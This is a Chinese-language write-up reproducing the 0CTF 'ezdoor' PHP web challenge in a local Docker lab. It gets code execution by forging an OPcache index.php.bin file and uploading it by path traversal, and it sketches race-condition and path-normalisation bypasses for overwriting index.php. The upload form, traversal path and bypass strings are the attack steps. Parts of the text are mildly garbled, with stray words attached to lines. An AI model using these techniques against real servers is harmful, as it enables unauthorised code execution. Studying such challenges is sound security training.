0ctf-ezdoor-复现分析

在学习opcache的时候,看到了这个题目,恰好有环境,就来复现一下,这个题目也让我学到了不少。php

建立镜像:html

docker build -t 0ctf-ezdoor .
git

启动容器:github

docker run -itd -p 9010:80 --name 0ctf-ezdoor 0ctf-ezdoorweb

源码以下:docker

<?php

error_reporting(0);

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';  //建立一个用户沙盒
if(!file_exists($dir)){  
  mkdir($dir);
}  //每次访问页面不存在该目录时都将从新建立,
if(!file_exists($dir . "index.php")){
  touch($dir . "index.php"); //若是index.php不存在,则直接用touch建立
} 
function clear($dir) { if(!is_dir($dir)){ unlink($dir); return; } //若是不是目录,则直接删除 foreach (scandir($dir) as $file) { //若是是目录,则删除该目录下的全部文件 if (in_array($file, [".", ".."])) { continue; } unlink($dir . $file); } rmdir($dir); //而后删除目录 } switch ($_GET["action"] ?? "") { case 'pwd': echo $dir; //显示沙盒路径 break; case 'phpinfo': echo file_get_contents("phpinfo.txt"); //显示phpinfo信息 break; case 'reset': clear($dir); break; case 'time': echo time(); break; case 'upload': if (!isset($_GET["name"]) || !isset($_FILES['file'])) { break; } if($_FILES['file']['size'] > 100000) { clear($dir); break; } $name = $dir . $_GET["name"]; if (preg_match("/[^a-zA-Z0-9.\/]/", $name) || stristr(pathinfo($name)["extension"], "h")) { //取文件的后缀而且过滤了h,
则全部php后缀都不能上传后面的stristr(pathinfo)是用来判断以“.”隔断后的字符串中是否含有“h”字符,在这里pathinfo是以字符串中最后一个“.”来进行隔断。
break; } move_uploaded_file($_FILES['file']['tmp_name'], $name); $size = 0; foreach (scandir($dir) as $file) { if (in_array($file, [".", ".."])) { continue; } $size += filesize($dir . $file); } if ($size > 100000) { clear($dir); } break; case 'shell': ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag"); include $dir . "index.php"; break; default: highlight_file(__FILE__); break; }

最终包含的是$dir."index.php",而且没法上传php后缀,最后有include,那么应该是包含shell,因此咱们若是可以经过上传覆盖index.php,就可以getshell,而后根据给出的flag路径去读flagshell

此时首先读一下phpinfo,这个是个txt的phpinfo信息,而且里面删除了一些配置项, 在里面发现opcache是开启的,apache

预期解法:

opcache突破口

A网站的网页index.php具备缓存文件index.php.bin
而访问index.php的时候加载缓存index.php.bin
假若这时候具备上传,咱们能够覆盖index.php.bin
是否是就会加载咱们的恶意文件了呢?
题目中虽然过滤php类型的结尾,可是却未过滤bin的结尾缓存

 

经过opcache.file_cache能够看到opcache的存储路径信息在/tmp/cache下bash

执行docker exec -it bash_name bash 进入docker容器发现实际上目录是cache/systemid,就是每一个用户都会有一个id,来鉴别的

因此咱们的目的很明确,就是去覆盖此index.php.bin来上传咱们本身的index.php.bin,那么当再次访问index.php.bin时实际上就是访问的咱们的恶意index.php文件

因此首先要知道服务器缓存文件的目录,计算一下服务器端的systemid,利用https://github.com/GoSecure/php7-opcache-override,由于代码须要指定一个phpinfo的页面,可是其最终解析出来进行计算的一些配置项才是最重要的,所以找到目标服务器的这些配置项

 

php_version=7.0.28

zend_extension_id=API320151012,NTS

zend_bin_id由这两部分组成

即zend_bin_id=BIN_SIZEOF_CHAR48888

接下来利用公式计算一下就能获得:

systemid=7badddeddbd076fe8352e80d8ddf3e73

 可是这个systemid计算出来的跟我在docker容器里面看到的名字不同,这里查看一下php的版本,题目给的是7.0.28,可是此时我复现的时候从hub库拖过来的php7版本是7.0.33,所以这里计算systemid时要和题目的php版本一致,这里把php的版本改为7.0.33计算一下就好了,获得system_id为0b8bd94e9858e5d32d058dc0acf75014

 

和我docker是相符的,说明没问题,此时已经获得了服务器端的opcache路径,那么下一步就是经过上传去覆盖此index.php.bin

opcache文件生成

首先要在本地搭一个根目标服务器同样的环境,因此pull一个环境下来:

sudo docker pull php:7.0.33-apache

而后经过镜像建立容器:

docker run -itd -p 9010:80 --name php:7.0.33-apache opcache

此时容器已经起来了,进入配置与服务器相同的路径

docker exec -it opcache bash

由于咱们的index.php在用户的沙盒中,所以可使用pwd先看看路径

 

能够看到路径为sandbox/fac849dc498b60000e200f3f2a2712b54da39b92/,因此首先新建一个文件夹吧,而后开一个index.php,先看看能不能成功

此时文件生成了,须要配置一下php.ini的opcache

直接从docker hub拉来的镜像我发现里面没有加载php.ini,可是看到加载php.ini的路径为/usr/loca/etc/php,因此去这个目录看看,

应该是给了两个ini,选定一个改名为php.ini让apache去加载,因此cp拷贝一份就好了,我配置了以下选项:

zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20151012/opcache.so //默认存在该扩展,只要把so文件引进来便可
opcache.file_cache => /tmp/cache => /tmp/cache opcache.enable => On => On opcache.validate_timestamps => On => On opcache.file_cache_only => 1 => 1

而后重启一下apache,这里不能用service apache2 restart,容器会断掉,由于容器至关于一个cmd环境,重启本身会断,这里用reload从新加载一下配置文件,此时刷新phpinfo看看

 

 

opcache扩展也打开了,访问咱们模拟环境的index.php试试生成bin文件:

 

此时,由于目标服务器timestamps为on,所以咱们不只要置换bin里面的systemid还要置换一下timestamps

运行如下代码就能得到最新的文件时间戳:

import requests
print requests.get('http://127.0.0.1:8585/index.php?action=time').content
print requests.get('http://127.0.0.1:8585/index.php?action=reset').content
print requests.get('http://127.0.0.1:8585/index.php?action=time').content

 

 

此时只要用010修改一些systemid和timestamps,直接使用https://github.com/GoSecure/php7-opcache-override中提供的模板文件来帮助咱们解析bin文件,此时就能看到要修改的两个字段

 修改之后保存,而后本地构造上传表单,进行上传,由于咱们想要覆盖目标服务器的bin文件,那么路径必须与其相同才行,这里直接将$_GET['name']与沙盒路径拼接在了一块儿,没有对变量进行过滤

因此此时肯定路径能够进行路径穿越,能够穿越到任意目录,因此能够直接经过systemid来构造路径为:

../../../../../tmp/cache/0b8bd94e9858e5d32d058dc0acf75014/var/www/html/sandbox/fac849dc498b60000e200f3f2a2712b54da39b92/index.php.bin
<html>
<body>
 <form action="http://127.0.0.1:8585/?action=upload&name=../../../../../tmp/cache/0b8bd94e9858e5d32d058dc0acf75014/var/www/html/sandbox/fac849dc498b60000e200f3f2a2712b54da39b92/index.php.bin" method="post" enctype="multipart/form-data">
 <input type="file" name="file" />
 <input type="submit" value="upload" />
 </form>
</body>
</html>

而后上传咱们的bin文件,此时再访问action=shell,来触发index.php加载咱们bin文件

 

由上图能够看到此时已经成功加载了咱们的bin文件,咱们继续读一下/var/www/html和/var/www/html/flag目录,能够看到服务器作了限制,只能读到flag目录有个奇怪的文件,能够读一读它

 

 接下来读一下这个文件

将其base64解码之后存到本地的flag.php.bin文件中,拖到010进行分析,发现解析出来其systemid出现了错误,对比一下正常的bin文件发现其头部少了一个字节00

因此在其magic头部补充一个字节就好了,此时systemid还原正常,其它字段的值也正常了,接下来就要让bin文件还原成咱们能够阅读的代码或者语言,作到这web部分结束,暂时不往下看了==

非预期解: 

1.经过条件竞争

由于pathinfo会获取最后一个点以后的扩展,经过index.php/. 就能够绕过pathinfo,可是move_uploaded_file这个函数在调用stat检测到index.php存在时就不会进行覆盖,也就是咱们可以上传可是却不能

进行覆盖,可是这里关注这一段代码

function clear($dir)
{
  if(!is_dir($dir)){
    unlink($dir);
    return;
  } //若是不是目录,则直接删除
  foreach (scandir($dir) as $file) {  //若是是目录,则删除该目录下的全部文件
    if (in_array($file, [".", ".."])) {
      continue;
    }
    unlink($dir . $file);
  }
  rmdir($dir); //而后删除目录
}

删除时,先删除目录中的文件,再删除目录,那么咱们知道若是目录里面有文件调用rmdir将没法删除,因此咱们能够给要删除的目录传递大量没用的文件,那么在还在scandir的for循环结束时,原有的正常的index.php

也被删除了,此时沙盒中有还有无用文件,不能删除此沙盒目录,所以咱们能够再上传本身的index.php,而后以此来getshell

2.绕过php底层文件操做函数

x/../index.php/. 直接将路径修改成该路径,就能够覆盖原来的index.php,由于首先php调用tsrm_realpath去掉/.将其转换为一个标准路径,而后调用lstst获取文件属性,也就是判断文件存不存在,不存在将写文件,x/../index.php将绕过lstat让其认为index.php不存在因此从新写入,因此能够getshell

参考:

 https://www.kingkk.com/2018/04/2018-0ctf-ezdoor%E5%88%86%E6%9E%90/#%E5%8F%A6%E4%B8%80%E7%A7%8D%E9%AA%9A%E6%93%8D%E4%BD%9C

https://www.cdxy.me/?p=790

http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

https://lorexxar.cn/2016/05/27/opcache-jcfx/

http://wonderkun.cc/index.html/?p=626

https://skysec.top/2018/04/11/0ctf-ezdoor/#%E9%A2%84%E6%9C%9F%E8%A7%A3

http://elssm.top/2018/05/04/2018-0ctf-ezdoor%E5%A4%8D%E7%8E%B0/

https://altman.vip/2018/10/10/0ctf-Ezdoor/#%E6%89%A7%E8%A1%8C%E5%91%BD%E4%BB%A4

https://www.angelwhu.com/blog/?p=438

相关文章
相关标签/搜索